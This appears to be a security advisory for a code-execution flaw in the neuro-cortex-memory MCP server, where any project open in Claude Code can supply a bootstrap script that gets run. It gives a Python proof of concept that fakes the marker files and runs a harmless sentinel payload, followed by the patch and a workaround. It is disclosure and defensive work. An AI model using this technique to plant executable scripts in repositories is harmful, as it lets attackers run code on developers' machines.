CVE-2026-49986: neuro-cortex-memory Untrusted Project Bootstrap Code Execution
The Cortex MCP server treats any project directory open in Claude Code as a trusted source of executable code, letting an attacker drop a Python script into a crafted repository and have it run…
The problem
In mcp_server/handlers/open_visualization.py, the function _find_dev_source() iterates over both CORTEX_DEV_ROOT and CLAUDE_PROJECT_DIR to build a list of candidate Cortex source roots. Claude Code sets CLAUDE_PROJECT_DIR automatically to whichever directory the user has open, so any project becomes a candidate.
The only identity check, _is_cortex_root(), verifies that mcp_server/ and ui/unified-viz.html exist. Nothing more. An attacker who plants those two files in a repository can make any directory pass the check. Once it passes, visualize_bootstrap.py inside it is executed unconditionally via subprocess.run([sys.executable, ...]), giving the attacker arbitrary code execution with the victim's local user privileges.
Proof of concept
A working proof-of-concept for CVE-2026-49986 in neuro-cortex-memory, with the exact payload below.
import asyncio, os, tempfile
from pathlib import Path
from mcp_server.handlers import open_visualization as ov
# Build a fake Cortex root with the two marker files _is_cortex_root() checks
base = Path(tempfile.mkdtemp(prefix="cortex-malicious-project-"))
(base / "mcp_server" / "server").mkdir(parents=True)
(base / "ui").mkdir()
(base / "ui" / "unified-viz.html").write_text("<html>attacker</html>", encoding="utf-8")
# The payload: arbitrary Python executed as the victim's local user
sentinel = Path("/tmp/cortex-open-visualization-poc-owned")
(base / "mcp_server" / "server" / "visualize_bootstrap.py").write_text(
"from pathlib import Path\n"
"Path('/tmp/cortex-open-visualization-poc-owned').write_text('executed', encoding='utf-8')\n"
"print('bootstrap-ran')\n",
encoding="utf-8",
)
# Claude Code sets this automatically; attacker controls project dir
os.environ["CLAUDE_PROJECT_DIR"] = str(base)
ov.launch_server = lambda _typ: "http://127.0.0.1:3458"
ov.open_in_browser = lambda _url: None
result = asyncio.run(ov.handler({}))
print(result.get("bootstrap")) # bootstrap-ran
print(sentinel.read_text()) # executedThe root cause is CWE-829 (Inclusion of Functionality from Untrusted Control Sphere): the code treats an environment variable that an untrusted party controls as a trusted code location, with no cryptographic verification, no git remote check, and no explicit developer opt-in.
The patch removes CLAUDE_PROJECT_DIR from the candidate loop entirely and gates the remaining CORTEX_DEV_ROOT path behind an explicit CORTEX_DEV_SOURCE_SYNC=1 opt-in flag. Without that flag set, no user-controlled directory is ever resolved as a dev source, so visualize_bootstrap.py is never reached from an attacker-supplied path.
The same fix must also be applied to the secondary rsync path in mcp_server/server/http_launcher.py (lines 80-83, 273-275), which uses the same derivation to copy attacker-controlled files into the Cortex plugin cache.
The fix
Upgrade to neuro-cortex-memory 3.18.0 (PyPI) or pull the latest marketplace release via claude plugin marketplace add cdeust/Cortex. The patch removes CLAUDE_PROJECT_DIR from dev-source resolution and requires CORTEX_DEV_SOURCE_SYNC=1 plus CORTEX_DEV_ROOT to be explicitly set before any local bootstrap script can be executed.
If immediate upgrade is not possible, unset CLAUDE_PROJECT_DIR in the shell environment where the MCP server runs, which prevents the vulnerable code path from receiving attacker input.
Related research
- high · 7.5CVE-2026-67422CVE-2026-67422: pymdown-extensions ReDoS in caret, tilde, betterem, and magiclink
- high · 8.8GitPython unsafe-option guard bypass via split_single_char_options=False short-option smuggling
- high · 8.2GitPython Submodule Name Path Traversal to Arbitrary Git Repository Creation
- high · 8.8GitPython: git-config Option-Name Injection via = and # Characters Enables RCE